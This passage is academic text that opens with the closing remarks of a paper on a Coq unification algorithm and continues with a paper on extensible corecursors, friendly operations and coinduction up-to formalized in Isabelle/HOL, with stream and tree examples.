overloading (Figure 8), allow us to explain the patterns introduced
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in [12]. The algorithm presented in this work is predictable, in the
sense that the order in which subproblems are evaluated can be de-
duced directly from the rules. In particular, we have not introduced
the technique of constraint postponement, which reorders unifica-
tion subproblems. This omission, made in favor of predictability,
has shown not to be problematic in practice (§5).

The algorithm includes a heuristic, incarnated in the rules META-
DELDEPS that forces a non-dependent solution where multiple
solutions might exist. We have studied various scenarios where
it is being used, and shown that this heuristic can be replaced in
most cases by smarter tactics and elaboration algorithms (§5.1).

In the future we plan to prove soundness of the algorithm (see
§4.7), and to improve its performance to make it significantly faster
than the current algorithm of COQ.
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Abstract
This paper presents a formalized framework for defining corecursive
functions safely in a total setting, based on corecursion up-to and
relational parametricity. The end product is a general corecursor
that allows corecursive (and even recursive) calls under “friendly”
operations, including constructors. Friendly corecursive functions
can be registered as such, thereby increasing the corecursor’s
expressiveness. The metatheory is formalized in the Isabelle proof
assistant and forms the core of a prototype tool. The corecursor
is derived from first principles, without requiring new axioms or
extensions of the logic.

Categories and Subject Descriptors F.3.1 [Logics and Mean-
ings of Programs]: Specifying and Verifying and Reasoning about
Programs—Mechanical verification; F.4.1 [Mathematical Logic
and Formal Languages]: Mathematical Logic—Mechanical theo-
rem proving, Model theory

General Terms Theory, Verification

Keywords (Co)recursion, parametricity, proof assistants,
higher-order logic, Isabelle

1. Introduction
Total functional programming is a discipline that ensures computa-
tions always terminate. It is invaluable in a proof assistant, where
nonterminating definitions such as f x = f x+1 can be interpreted
in such a way as to yield contradictions. Hence, most assistants
will accept recursive functions only if they can be shown to termi-
nate. Similar concerns arise in specification languages and verifying
compilers.

However, some processes need to run forever, without their
being inconsistent. An important class of total programs has been
identified under the heading of productive coprogramming [1, 8,
62]: These are functions that progressively reveal parts of their
(potentially infinite) output. For example, given a type of infinite
streams constructed by SCons, the definition

natsFrom n = SCons n (natsFrom (n+1))

falls within this fragment, since each call to natsFrom produces one
constructor before entering the nested call.

The above definition is legitimate only if objects are allowed to be
infinite. This may be self-evident in a nonstrict functional language
such as Haskell, but in a total setting we must carefully distinguish
between the well-founded inductive (or algebraic) datatypes and
the non-well-founded coinductive (or coalgebraic) datatypes—often
simply called datatypes and codatatypes, respectively. Recursive
functions consume datatype values, peeling off constructors as
they proceed; corecursive functions produce codatatype values,
consisting of finitely or infinitely many constructors. And in the
same way that induction is available as a proof principle to reason
about datatypes and terminating recursive functions, coinduction
supports reasoning about codatatypes and productive corecursive
functions.

Despite their reputation for esotericism, codatatypes have an
important role to play in both the theory and the metatheory of
programming. On the theory side, they allow a direct embedding
of a large class of nonstrict functional programs in a total logic.
In conjunction with interactive proofs and code generators, this
enables certified functional programming [11]. On the metatheory
side, codatatypes conveniently capture infinite, possibly branching
processes. Major proof developments rely on them, including those
associated with a C compiler [41], a Java compiler [42], and the
Java memory model [43].

Codatatypes are supported by an increasing number of proof
assistants, including Agda [18], Coq [13], Isabelle/HOL [48], Isa-
belle/ZF [49, 50], Matita [7], and PVS [21]. They are also present
in the CoALP dialect of logic programming [27] and in the Dafny
specification language [40]. But the ability to introduce codatatypes
is not worth much without adequate support for defining meaningful
functions that operate on them. For most systems, this support can
be characterized as work in progress. The key question they all must
answer is: What right-hand sides can be safely allowed in function
definitions?

Generally, there are two main ways to support recursive and
corecursive functions in a proof assistant or similar system:

The intrinsic approach: A syntactic criterion is built into the logic:
termination for recursive specifications, productivity (or guard-
edness) for corecursive specifications. The termination or pro-
ductivity checker is part of the system’s trusted code base.

The foundational approach: The (co)recursive specifications are
reduced to a fixpoint construction inside the given logic, which
permits a simple definition of the form f = . . . , where f does
not occur in the right-hand side. The original equations are then
derived as theorems from this internal definition by dedicated
proof tactics.
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classroom use is granted without fee provided that copies are not made or distributed
for profit or commercial advantage and that copies bear this notice and the full citation
on the first page. Copyrights for components of this work owned by others than ACM
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to post on servers or to redistribute to lists, requires prior specific permission and/or a
fee. Request permissions from Permissions@acm.org.
Copyright is held by the owner/author(s). Publication rights licensed to ACM.
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Systems favoring the intrinsic approach include the proof assistants
Agda and Coq, as well as tools such as CoALP and Dafny. The
main hurdle for their users is that syntactic criteria are inflexible;
the specification must be massaged so that it falls within a given
syntactic fragment, even though the desired property (termination or
productivity) is semantic. But perhaps more troubling for systems
that process theorems, soundness is not obvious at all and very
tedious to ensure; as a result, there is a history of critical bugs in
termination and productivity checkers, as we will see when we
review related work (Section 7). Indeed, Abel [4] observed that

Maybe the time is ripe to switch to a more semantical
notion of termination and guardedness. The syntactic guard
condition gets you somewhere, but then needs a lot of
extensions and patching to work satisfactor[il]y in practice.
Formal verification of it becomes too difficult, and only
intuitive justification is prone to errors.

In contrast to Agda and Coq, proof assistants based on higher-
order logic (HOL), such as HOL4, HOL Light, and Isabelle/HOL,
generally adhere to the foundational approach. Their logic is ex-
pressive enough to accommodate the (co)algebraic constructions
underlying (co)datatypes and (co)recursive functions in terms of
functors on the category of sets [60]. The main drawback of this
approach is that it requires a lot of work, both conceptual and im-
plementational. Moreover, it is not available for all systems, since it
requires an expressive enough logic.

Because every step must be justified, foundational definitional
principles tend to be more restrictive than their intrinsic counterparts.
As a telling example, codatatypes were introduced in Isabelle/HOL
only recently, almost two decades after their inception in Coq,
and they are still missing in other HOL systems. Before the work
reported in this paper, corecursion was limited to the primitive case,
in which self-calls occur under exactly one constructor.

That primitive corecursion (or the slightly extended version
supported by Coq) is too restrictive is an observation that has been
made repeatedly by researchers who use corecursion in Coq and now
also Isabelle. Lochbihler and Hölzl dedicated a paper [44] to ad hoc
techniques for defining operations on corecursive lists in Isabelle.
Only after introducing a lot of machinery do they manage to define
their central example—lfilter, a filter function on lazy (coinductive)
lists—and derive suitable reasoning principles.

We contend that it is possible to combine advanced features
as found in Agda and Coq with the fundamentalism of Isabelle.
The lack of built-in support for corecursion, an apparent weakness,
reveals itself as a strength as we proceed to introduce rich notions of
corecursion, without extending the type system or adding axioms.

In this paper, we formalize a highly expressive corecursion frame-
work that extends primitive corecursion in the following ways: It al-
lows corecursive calls under several constructors; it allows “friendly”
operations in the context around or between the constructors and
around the corecursive calls; importantly, it supports blending termi-
nating recursive calls with guarded corecursive calls. This general
corecursor is accompanied by a corresponding, equally general coin-
duction principle that makes reasoning about it convenient. The
corecursor and the coinduction principle grow in expressiveness
during the interaction with the user, by learning new friendly con-
texts. In process algebra terminology [58], both corecursion and
coinduction take place “up to” friendly contexts. The constructions
draw heavily from category theory.

Before presenting the technical details, we first show through
examples how a primitive corecursor can be incrementally enriched
to accept ever richer notions of corecursive call context (Section 2).
This is made possible by the modular bookkeeping of additional
structure for the involved type constructors, including a relator
structure. This structure can be exploited to prove parametricity

theorems, which allow to mix operations freely in the corecursive
call contexts, in the style of coinduction up-to. Each new corecursive
definition is a potential future participant (Section 3).

This extensible corecursor gracefully handles codatatypes with
nesting through arbitrary type constructors (e.g., for infinite-depth
Rose trees nested through finite or infinite lists). Thanks to the frame-
work’s modularity, function specifications can combine corecursion
with recursion, yielding quite expressive mixed fixpoint definitions
(Section 4). This is inspired by the Dafny tool, but our approach is
semantically founded and hence provably consistent.

Our framework is implemented in Isabelle/HOL, as a combi-
nation of a generic proof development parameterized by arbitrary
type constructors and a tool for instantiating the metatheory to user-
specified instances (Sections 5 and 6). It is available online along
with the examples from this paper [16].

Techniques such as corecursion and coinduction up-to have been
known for years in the process algebra community, before they were
embraced and perfected by category theorists (Section 7). This work
is part of a wider program aiming at bringing insight from category
theory into proof assistants [14, 15, 17, 60]. The main contributions
of this paper are the following:

• We represent in higher-order logic a framework for corecursion
that evolves by user interaction.

• We identify a sound fragment of mixed recursive–corecursive
specifications, integrate it in our framework, and present several
examples that motivate this feature.

• We implement the above in Isabelle/HOL within an interactive
loop that maintains the recursive–corecursive infrastructure.

• We use this infrastructure to automatically derive many examples
that are problematic in other proof assistants.

A distinguishing feature of our framework is that it does not
require the user to provide type annotations. On the design space, it
lies between the restrictive primitive corecursion and the expressive
but more bureaucratic approaches such as clock variables [8, 20]
and sized types [2], combining expressiveness and ease of use. The
identification of this “sweet spot” can also be seen as a contribution.

2. Motivating Examples
We demonstrate the expressiveness of our corecursor framework
by examples, adopting the user’s perspective. The case studies by
Rutten [57] and Hinze [28] on stream calculi serve as our starting
point. Streams of natural numbers can be defined as

codatatype Stream = SCons (head: Nat) (tail: Stream)

where SCons : Nat → Stream → Stream is a constructor and
head : Stream→ Nat, tail : Stream→ Stream are selectors. The
examples were chosen to show the main difficulties that arise in
practice.

2.1 Corecursion Up-to
As our first example of a corecursive function definition, we consider
the pointwise sum of two streams:

xs⊕ ys = SCons (head xs+head ys) (tail xs⊕ tail ys)

The specification is productive, since the corecursive call occurs
directly under the stream constructor, which acts as a guard (shown
underlined). Moreover, it is primitively corecursive, because the
topmost symbol on the right-hand side is a constructor and the
corecursive call appears directly as an argument to it.

These syntactic restrictions can be relaxed to allow conditional
statements and let expressions [14], but despite such tricks primi-
tive corecursion remains hopelessly primitive. The syntactic restric-
tion for admissible corecursive definitions in Coq is more permissive
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in that it allows for an arbitrary number of constructors to guard the
corecursive calls, as in the following definition:

oneTwos = SCons 1 (SCons 2 oneTwos)

Our framework achieves the same result by registering SCons as
a friendly operation. Intuitively, an operation is friendly if it needs to
destruct at most one constructor of input to produce one constructor
of output. For streams, such an operation may inspect the head and
the tail (but not the tail’s tail) of its arguments before producing an
SCons. Because the operation preserves productivity, it can safely
surround the guarding constructor.

The rigorous definition of friendliness will capture this intuition
in a parametricity property that needs to be discharged, either by
the user or automatically. In exchange, the framework yields a
strengthened corecursor incorporating the new operation.

The constructor SCons is friendly, since it does not even need
to inspect its arguments to produce a constructor. By contrast,
the selector tail is not friendly—it must destruct two layers of
constructors to produce one:

tail xs = SCons (head (tail xs)) (tail (tail xs))

The presence of unfriendly operations in the corecursive call context
is enough to break productivity, as in the example

stallA = SCons 1 (tail stallA)

which stalls immediately after producing one constructor, leaving
tail stallA unspecified.

Another instructive example is the function that keeps every
other element in a stream:

everyOther xs=SCons (head xs) (everyOther (tail (tail xs)))

The function is not friendly, despite being primitively corecursive.
It also breaks productivity: The function

stallB = SCons 1 (everyOther stallB)

stalls after producing two constructors.
Going back to our first example, we observe that the operation ⊕

is friendly. Hence, it is allowed to participate in corecursive call
contexts when defining new functions. In this respect, the framework
is more permissive than Coq’s built-in syntactic check. For example,
we can define the stream of Fibonacci numbers in either of the
following two ways:

fibA = SCons 0 (SCons 1 fibA ⊕ fibA)

fibB = SCons 0 (SCons 1 fibB) ⊕ SCons 0 fibB

Friendly operations are allowed to appear both under the constructor
guard (as in fibA) and around it (as in fibB). Two guards are
necessary in the second example—one for each branch of ⊕.
Without rephrasing the specification, fibB cannot be expressed
in Rutten’s format of behavioral differential equations [57] or in
Hinze’s syntactic restriction [28], nor via Agda copatterns [5, 6].

Many useful operations are friendly and can therefore participate
in further definitions. Following Rutten, the shuffle product ⊗ of
two streams is defined in terms of ⊕. Shuffle product being itself
friendly, we can employ it to define stream exponentiation, which
also turns out to be friendly:

xs⊗ ys = SCons (head xs×head ys)
((xs⊗ tail ys)⊕ (tail xs⊗ ys))

exp xs = SCons (2 ˆ head xs) (tail xs⊗ exp xs)

Next, we use the defined and registered operations to specify two
streams of factorials of natural numbers facA (starting at 1) and
facB (starting at 0):

facA = SCons 1 facA⊗ SCons 1 facA

facB = exp (SCons 0 facB)

Computing the first few terms of facA manually should convince
the reader that productivity and efficiency are not synonymous.

The arguments of friendly operations are not restricted to the
Stream type. Let fimage give the image of a finite set under a
function and

⊔
X be the maximum of a finite set of naturals or 0 if

X is empty. We can define the (friendly) supremum of a finite set of
streams by primitive corecursion:

sup X = SCons (
⊔
(fimage head X)) (sup (fimage tail X))

2.2 Nested Corecursion Up-to
Although we use streams as our main example, the framework gen-
erally supports arbitrary codatatypes with multiple curried construc-
tors and nesting through other type constructors. To demonstrate
this last feature, we introduce the type of finitely branching Rose
trees of potentially infinite depth with numeric labels:

codatatype Tree = Node (val: Nat) (sub: List Tree)

The type Tree has a single constructor Node : Nat→ List Tree→
Tree and two selectors val : Tree→Nat and sub : Tree→ List Tree.
The recursive occurrence of Tree is nested in the familiar polymor-
phic datatype of finite lists.

We first define the pointwise sum of two trees analogously to ⊕:

t � u = Node (val t+val u)
(map (λ(t′, u′). t′ � u′) (zip (sub t) (sub u)))

Here, map is the standard map function on lists, and zip converts two
parallel lists into a list of pairs, truncating the longer list if necessary.
The operation � is defined by primitive corecursion. Notice that the
corecursive call is nested through map. This is a reflection of the
target type, Tree, having its fixpoint definition nested through List.
Moreover, by virtue of being friendly, � can be used to define the
shuffle product of trees:

t � u = Node (val xs×val ys)
(map (λ(t′, u′). (t � u′)� (t′ � u)) (zip (sub t) (sub u)))

The corecursive call takes place inside map, but also in the context
of �. The specification of � is corecursive up-to (more precisely,
up to �) and friendly.

2.3 Mixed Recursion–Corecursion
It is often convenient to let a corecursive function perform some
finite computation before producing a constructor. With mixed
recursion–corecursion, a finite number of unguarded recursive calls
perform this calculation before reaching a guarded corecursive call.

The intuitive criterion for accepting such definitions is that the
unguarded recursive call can be unfolded to arbitrary finite depth,
ultimately yielding a purely corecursive definition. An example is
the primes function taken from Di Gianantonio and Miculan [23]:

primes m n = if (m = 0 ∧ n > 1) ∨ gcd m n = 1
then SCons n (primes (m×n) (n+1))
else primes m (n+1)

When called with m = 1 and n = 2, this function computes the
stream of prime numbers. The unguarded call in the else branch
increments its second argument n until it is coprime to the first
argument m (i.e., the greatest common divisor of m and n is 1).
For any positive integers m and n, the numbers m and m× n+ 1
are coprime, yielding an upper bound on the number of times n is
increased. Hence, the function will take the else branch at most
finitely often before taking the then branch and producing one
constructor. There is a slight complication when m = 0 and n > 1:
Without the first disjunct in the if condition, the function could stall.
(This corner case was overlooked in the original example [23].)
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Mixed recursion–corecursion makes the following (somewhat
contrived) definition of factorials possible,

facC n a i = if i = 0 then SCons a (facC (n+1) 1 (n+1))
else facC n (a× i) (i−1)

The recursion in the else branch computes the next factorial by
means of an accumulator a and a decreasing counter i. When the
counter reaches 0, facC corecursively produces a constructor with
the accumulated value and resets the accumulator and the counter.

Unguarded calls may even occur under friendly operations:

cat n = if n > 0 then cat (n−1)⊕ SCons 0 (cat (n+1))
else SCons 1 (cat 1)

The call cat 1 computes the stream C1,C2, . . . of Catalan numbers,
where Cn =

1
n+1
(2n

n
)
. This fact is far from obvious. Productivity is

not entirely obvious either, but it is guaranteed by the framework.
When mixing recursion and corecursion, it is easy to get things

wrong in the absence of solid foundations. Consider this specifi-
cation, in which the corecursive call is guarded by SCons and the
unguarded call’s argument strictly decreases toward 0:

nasty n = if n < 2 then SCons n (nasty (n+1))
else inc (tail (nasty (n−1)))

Here, inc = smap (λx. x+ 1) and smap is the map function on
streams. A simple calculation reveals that this specification is
inconsistent because the tail selector before the unguarded call
destructs the freshly produced constructor from the other branch:

nasty 2 = inc (tail (nasty 1)) = inc (tail (SCons 1 (nasty 2)))
= inc (nasty 2)

This is a close relative of the f x = f x + 1 example from the
introduction. Our framework rejects this specification because the
tail selector in the recursive call context is not friendly.

We conclude this subsection with a practical example from the
literature. Given the polymorphic type

codatatype LList A = LNil | LCons (head: A) (tail: LList A)

of lazy lists, the task is to define the function lfilter : (A→ Bool)→
LList A→ LList A that filters out all elements failing to satisfy
the given predicate. Thanks to the support for mixed recursion–
corecursion, the framework turns what was for Lochbihler and Hölzl
[44] a research problem into a routine exercise:

lfilter P xs = if ∀x ∈ xs. ¬ P x
then LNil
else if P (head xs)

then LCons (head xs) (lfilter P (tail xs))
else lfilter P (tail xs)

The first self-call is corecursive and guarded by LCons, whereas
the second self-call is terminating, because the number of “false”
elements until reaching the next “true” element (whose existence is
guaranteed by the first if condition) decreases by one. In fact, in
Isabelle the function can be introduced without proving termination
of the second call by exploiting its tail-recursive nature [16, 36].

2.4 Coinduction Up-to
Once a corecursive specification has been accepted as productive,
we normally want to reason about it. In proof assistants, codatatypes
are accompanied by a notion of structural coinduction that matches
primitively corecursive functions. For nonprimitive specifications,
our framework provides the more advanced proof principle of
coinduction up to congruence—or simply coinduction up-to.

The structural coinduction principle for streams is as follows:

R l r ∀s t. R s t −→ head s = head t ∧ R (tail s) (tail t)

l = r

Coinduction allows us to prove an equality l = r on streams by
providing a relation R that relates l and r (first premise) and that
constitutes a bisimulation (second premise). Streams that are related
by a bisimulation cannot be distinguished by taking observations
(via the selectors head and tail); hence they must be equal.

Creativity is generally required to instantiate R with a bisimula-
tion. However, given a goal l = r, the following canonical candidate
often works: λs t. ∃xs. s = l ∧ t = r, where xs are the variables oc-
curring free in l or r. As a rehearsal, let us prove that the primitively
corecursive operation ⊕ is commutative.

Proposition 1. xs⊕ ys = ys⊕ xs.

Proof. We first show that R= λst. ∃xsys. s= xs⊕ ys∧ t = ys⊕ xs is
a bisimulation. We fix two streams s and t for which we assume R s t
(i.e., there exist two streams xs and ys such that s = xs⊕ ys and t =
ys⊕ xs). Next, we show that head s = head t and R (tail s) (tail t).
The first property is easy. For the second one:

R (tail s) (tail t)
←→ R (tail (xs⊕ ys)) (tail (ys⊕ xs))
←→ R (tail xs⊕ tail ys)) (tail ys⊕ tail xs)
←→∃xs′ ys′. tail xs⊕ tail ys = xs′ ⊕ ys′ ∧

tail ys⊕ tail xs = ys′ ⊕ xs′

The last formula can be shown to hold by selecting xs′ = tail xs and
ys′ = tail ys. Moreover, R (xs⊕ ys) (ys⊕ xs) holds. Therefore, the
thesis follows by structural coinduction.

If we attempt to prove the commutativity of ⊗ analogously, we
eventually encounter a formula of the form R (· · · ⊕ · · ·) (· · · ⊕ · · ·),
because ⊗ is defined in terms of ⊕. Since R mentions only ⊗ but
not ⊕, we are stuck. An ad hoc solution would be to replace the
canonical R with a bisimulation that allows for descending under ⊕.
However, this would be needed for almost every property about ⊗.

A more reusable solution is to strengthen the coinduction princi-
ple upon registration of a new friendly operation. The strengthening
mirrors the acquired possibility of the new operation to appear
in the corecursive call context. It is technically represented by a
congruence closure cl : (Stream→ Stream→ Bool)→ Stream→
Stream→Bool. The coinduction up-to principle is almost identical
to structural coinduction, except that the corecursive application of
R is replaced by cl R:

R l r ∀s t. R s t −→ head s = head t ∧ cl R (tail s) (tail t)

l = r

The principle evolves with every newly registered friendly opera-
tion in the sense that our framework refines the definition of the
congruence closure cl. (Strictly speaking, a fresh symbol cl′ is intro-
duced each time.) For example, after registering SCons and ⊕, cl R
is the least reflexive, symmetric, transitive relation containing R and
satisfying the rules

x = y cl R xs ys

cl R (SCons x xs) (SCons y ys)

cl R xs ys cl R xs′ ys′

cl R (xs⊕ xs′) (ys⊕ ys′)

After defining and registering ⊗, the relation cl R is extended to also
satisfy

cl R xs ys cl R xs′ ys′

cl R (xs⊗ xs′) (ys⊗ ys′)
Let us apply the strengthened coinduction principle to prove the

distributivity of stream exponentiation over pointwise addition:

Proposition 2. exp (xs⊕ ys) = exp xs⊗ exp ys.

Proof. We first show that R = λs t. ∃xs ys. s = exp (xs⊕ ys) ∧ t =
exp xs ⊗ exp ys is a bisimulation. We fix two streams s and t for
which we assume R s t (i.e., there exist two streams xs and ys such
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that s = exp (xs⊕ ys) and t = exp xs⊗ exp ys). Next, we show that
head s = head t and cl R (tail s) (tail t):

head s = head (exp (xs⊕ ys)) = 2 ˆ head (xs⊕ ys)
= 2 ˆ (head xs+head ys) = 2 ˆ head xs×2 ˆ head ys
= head (exp xs)×head (exp ys)
= head (exp xs⊗ exp ys) = head t

cl R (tail s) (tail t)
←→ cl R (tail (exp (xs⊕ ys))) (tail (exp xs⊗ exp ys))
←→ cl R ((tail xs⊕ tail ys)⊗ exp (xs⊕ ys))

(exp xs⊗ (tail ys⊗ exp ys)⊕ (tail xs⊗ exp xs)⊗ exp ys)
∗←→ cl R ((tail xs⊗ exp (xs⊕ ys)⊕ tail ys⊗ exp (xs⊕ ys))
(tail xs⊗ (exp xs⊗ exp ys)⊕ tail ys⊗ (exp xs⊗ exp ys)⊕

←− cl R (tail xs⊗ exp (xs⊕ ys)) (tail xs⊗ (exp xs⊗ exp ys)) ∧
cl R (tail ys⊗ exp (xs⊕ ys)) (tail ys⊗ (exp xs⊗ exp ys))⊗

←− cl R (tail xs) (tail xs) ∧ cl R (tail ys) (tail ys) ∧
cl R (exp (xs⊕ ys)) (exp xs⊗ exp ys)

←− R (exp (xs⊕ ys)) (exp xs⊗ exp ys)

The step marked with ∗ appeals to associativity and commutativity
of ⊕ and ⊗ as well as distributivity of ⊗ over ⊕. These properties
are likewise proved by coinduction up-to. The implications marked
with ⊕ and ⊗ are justified by the respective congruence rules. The
last implication uses reflexivity and expands R to its closure cl R.

Finally, it is easy to see that R (exp (xs⊕ ys)) (exp xs⊗ exp ys)
holds. Therefore, the thesis follows by coinduction up-to.

The formalization accompanying this paper [16] also contains
proofs of facA = facC 1 1 1 = smap fac (natsFrom 1), facB =
SCons 1 facA, and fibA = fibB, where fac is the factorial on Nat.

Nested corecursion up-to is also reflected with a suitable strength-
ened coinduction rule. For Tree, this strengthening takes place under
the rel operator on list, similarly to the corecursive calls occurring
nested in the map function:

R l r ∀s t. R s t −→ val s = val t ∧ rel (cl R) (sub s) (sub t)

l = r

The rel R operator lifts the binary predicate R : A→ B→ Bool to
a predicate List A→ List B→ Bool. More precisely, rel R xs ys
holds if and only if xs and ys have the same length and parallel
elements of xs and ys are related by R. This nested coinduction rule
is convenient provided there is some infrastructure to descend under
rel (as is the case in Isabelle/HOL). The formalization establishes
several arithmetic properties of � and �.

3. Extensible Corecursors
We now describe the definitional and proof mechanisms that sub-
stantiate flexible corecursive definitions in the style of Section 2.
They are based on the modular maintenance of infrastructure for
the corecursor associated with a codatatype, with the possibility of
open-ended incremental improvement. We present the approach for
an arbitrary codatatype given as the greatest fixpoint of a (bounded)
functor. The approach is quite general and does not rely on any
particular grammar for specifying codatatypes.

Extensibility is an integral feature of the framework. In principle,
an implementation could redo the constructions from scratch each
time a friendly operation is registered, but it would give rise to a
quadratic number of definitions, slowing down the proof assistant.
The incremental approach is also more flexible and future-proof,
allowing mixed fixpoints and composition with other (co)recursors.

3.1 Functors and Relators
Functional programming languages and proof assistants necessarily
maintain a database of the user-defined types or, more generally,
type constructors, which can be thought as functions F : Setn→ Set

on the class of sets (or perhaps of ordered sets). It is often useful to
maintain more structure along with these type constructors:

• a functorial action Fmap : ∏A,B∈Setn ∏
n
i=1(Ai→ Bi)→ F A→

F B, i.e., a polymorphic function of the indicated type that
commutes with identity idA : A→ A and composition;

• a relator Frel : ∏A,B∈Setn ∏
n
i=1(Ai→ Bi→ Bool) → F A →

F B→ Bool, i.e., a polymorphic function of the indicated type
that commutes with binary-relation identity and composition.

Following standard notation from category theory, we write F
instead of Fmap. Given binary relations Ri : Ai → Bi → Bool for
1 ≤ i ≤ n, we think of Frel R : F A→ F B→ Bool as the natural
lifting of R along F; for example, if F is List (and n = 1), Frel lifts a
relation on elements to the componentwise relation on lists, defined
conjunctively, and also requiring equal lengths. It is well known
that the positive type constructors defined by standard means (basic
types, composition, least and greatest fixpoints) have canonical
functorial and relator structure. This is crucial for the foundational
construction of user-specified (co)datatypes in Isabelle/HOL [60].

But even nonpositive type constructors G : Setn→ Set exhibit a
relator-like structure

Grel : ∏A,B∈Setn (A→ B→ Bool)→ (G A→ G B→ Bool)

(which need not commute with relation composition, though).
Above, A→ B→Bool consists of tuples (Ri : Ai→ Bi→Bool)i∈1,n
of relations, where A = (Ai)i∈1,n and B = (Bi)i∈1,n. For example,
if G : Set2 → Set is the function space constructor G (A1, A2) =
A1→ A2 and f ∈G (A1, A2), g∈G (B1, B2), R1 : A1→ B1→Bool,
and R2 : A2 → B2 → Bool, then Grel R1 R2 f g is defined as
∀a1 ∈ A1. ∀b1 ∈ B1. R1 a1 b1 −→ R2 ( f a1) (g b1).

A polymorphic function c : ∏A∈Setn G A is called parametric
[52, 63] if

∀A B ∈ Setn. ∀R : A→ B→ Bool. Grel R cA cB

The maintenance of relator-like structures is helpful for automating
theorem transfer along isomorphisms and quotients [31]. Here
we explore an additional benefit of maintaining functorial and
relator structure for type constructors: the possibility to extend the
corecursor in reaction to user input.

We assume that all the considered type constructors are both
functors and relators, that they include basic functors such as identity,
constant, sum, and product, and that they are closed under least and
greatest fixpoints (initial algebras and final coalgebras). Examples
of such classes of type constructors are the datafunctors [26], the
containers [1], and the bounded natural functors [60].

We focus on the case of a unary codatatype-generating functor
F : Set→ Set. The codatatype of interest will be its greatest fixpoint
(or final coalgebra) J = gfp F. This generic situation already covers
the vast majority of interesting codatatypes, since F can represent
arbitrarily complex nesting. For example, if F = λA. Nat×List A,
then J corresponds to the Tree codatatype introduced in Section 2.2.
The extension to mutually defined codatatypes is straightforward
but tedious. Our examples will take J to be the Stream type from
Section 2, with F = λA. Nat×A.

Given a set A, it will be useful to think of the elements x ∈ F A
as consisting of a shape together with content that fills the shape
with elements of A, as suggested by Figure 1. If F A = Nat×A, the
shape of x = (n, a) is (n, _) and the content is a; if F A = List A,
the shape of x = [x1, . . . , xn] is the n-slot container [_, . . . , _] and
the content consists of the xi’s. According to this view, for each
f : A→ B, F’s functorial action sends any x to an element F f x of
the same shape as x but with each content item a replaced by f a.
Technically, this view can be supported by custom notions such as
containers [1] or, more simply, via a parametric function of type
∏A∈Set F A→ Set A that collects the content elements [60].
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. a2. a1 . a3

Figure 1: An element x of F A with content items a1, a2, a3

3.2 Primitive Corecursion
The codatatype command that defines J introduces the constructor
and destructor bijections ctor : F J→ J and dtor : J→ F J and the
primitive corecursor corecPrim : ∏A∈Set(A→ F A)→ A→ J sat-
isfying corecPrim s a = ctor (F (corecPrim s) (s a)). In elements
x ∈ F A, the occurrences of content items a ∈ A in the shape of x
captures the positioning of the corecursive calls.

Example 3. Modulo currying, the pointwise sum of streams ⊕ is
definable as corecPrim s, by taking s : Stream2→ Nat×Stream2

to be λ(xs, ys). (head xs+head ys, (tail xs, tail ys)).

In Example 3 and elsewhere, we lighten notation by identifying
curried and uncurried functions, counting on implicit coercions.

3.3 The Corecursion State
Given a functor Σ : Set→ Set, we define Σ∗, the free-monad functor
over λB. J+Σ B, by

Σ∗A = lfp (λB. A+J+Σ B)

We write vleaf : A→ Σ∗A, cleaf : J→ Σ∗A, and op : Σ (Σ∗A)→
Σ∗A for the first, second, and third injections into Σ∗A. These
functions are in fact polymorphic; for example, vleaf has type
∏A∈Set A → Σ∗A. We omit the set parameters of polymorphic
functions since they can be inferred from the arguments.

At any given moment, we maintain the following data associated
with J, which we call a corecursion state:

• a finite number of functors K1, . . . , Kn : Set→ Set and, for each
Ki, a function fi : Ki J→ J;

• a polymorphic function Λ : ∏A∈Set Σ (A×F A)→ F (Σ∗A).

We call the fi’s the friendly operations and define their collective
signature functor Σ by

Σ A = K1 A+ · · ·+Kn A

where ιi : Ki→Σ is the standard embedding of Ki into Σ. We call
Λ the corecursor seed.

The corecursion state is subject to the following conditions:

Parametricity: Λ is parametric.

Friendliness: Each fi satisfies the characteristic equation

fi x = ctor (F eval (Λ (Σ 〈id, dtor〉 (ιi x))))

The convolution operator 〈_, _〉 builds a function 〈 f , g〉 : B→C×D
from two functions f : B→ C and g : B→ D, and eval : Σ∗J→ J
is the canonical evaluation function defined recursively (using the
primitive recursor associated with Σ∗):

eval (vleaf j) = j
eval (cleaf j) = j
eval (op z) = case z of ιi t⇒ fi (Ki eval t)

Notice that eval is applied recursively to t by lifting it through the
functor Ki. Functions having the type of Λ and assumed parametric
(or, equivalently, assumed to be natural transformations) are known
in category theory as abstract GSOS rules. They were introduced by

Ki J
fi //

Λ◦Σ 〈id,dtor〉◦ιi

��

J

F (Σ∗J)
F eval // F J

ctor

OO

Figure 2: The friendliness condition

Turi and Plotkin [61] and further studied by Bartels [9], Jacobs [33],
Hinze and James [29], Milius et al. [46], and others.

Thus, a corecursion state is a triple (K, f , Λ). As we will see
in Section 3.6, the state evolves as users define and register new
functions. The fi’s are the operations that have been registered as
potential participants in corecursive call contexts. Since fi has type
Ki J→ J, we think of Ki as encoding the arity of fi. Then Σ, the
sum of the Ki’s, represents the signature consisting of all the fi’s.
Thus, for each A, Σ∗A represents the set of formal expressions
over Σ and A + J, i.e., the trees built starting from two kinds
of leaves—“variables” in A and “constants” in J—by applying
operation symbols corresponding to the fi’s. Finally, eval evaluates
in J the formal expressions of Σ∗J by recursively applying the
functions fi.

If the functors Ki are restricted to be finite monomials λA. Aki ,
the functor Σ can be seen as a standard algebraic signature and
(Σ∗A, op) as the standard term algebra for this signature, over the
variables A and the constants J. However, we allow Ki to be more
exotic; for example, Ki A can be ANat (representing an infinitary
operation) or one of List A and FinSet A (representing an operation
taking a varying finite number of ordered or unordered arguments).

But what guarantees that the fi’s are indeed safe as contexts for
corecursive calls? In particular, how can the framework exclude tail
while allowing SCons, ⊕, and ⊗? This is where the parametricity
and friendliness conditions on the state enter the picture.

We start with friendliness. Assume x ∈ Ki J, which is unambigu-
ously represented in Σ J as ιi x. Let j1, . . . , jm ∈ J be the content
items of ιi x (placed in various slots in the shape of x). To evaluate
fi on x, we first corecursively unfold the jl’s while also keeping the
originals, thus replacing each jl with ( jl, dtor jl). Then we apply
the transformation Λ to obtain an element of F (Σ∗J), which has
an F-shape at the top (the first produced observable data) and for
each slot in this shape an element of Σ∗J, i.e., a formal-expression
tree having leaves in J and built using operation symbols from the
signature (the corecursive continuation):

Ki J
ιi−→Σ J

Σ 〈id,dtor〉−−−−−−→Σ (J×F J)
Λ−→ F (Σ∗J)

Next, we evaluate the formal expressions (from Σ∗J) located in the
slots. This is achieved by applying eval, which corecursively calls
the fi’s under the functor F. Finally, the result (an element of F J) is
guarded with ctor. In summary, Λ is a schematic representation of
the mutually corecursive behavior of the friendly operations up to the
production of the first observable data. This intuition is captured by
the friendliness condition, which states that the diagram in Figure 2
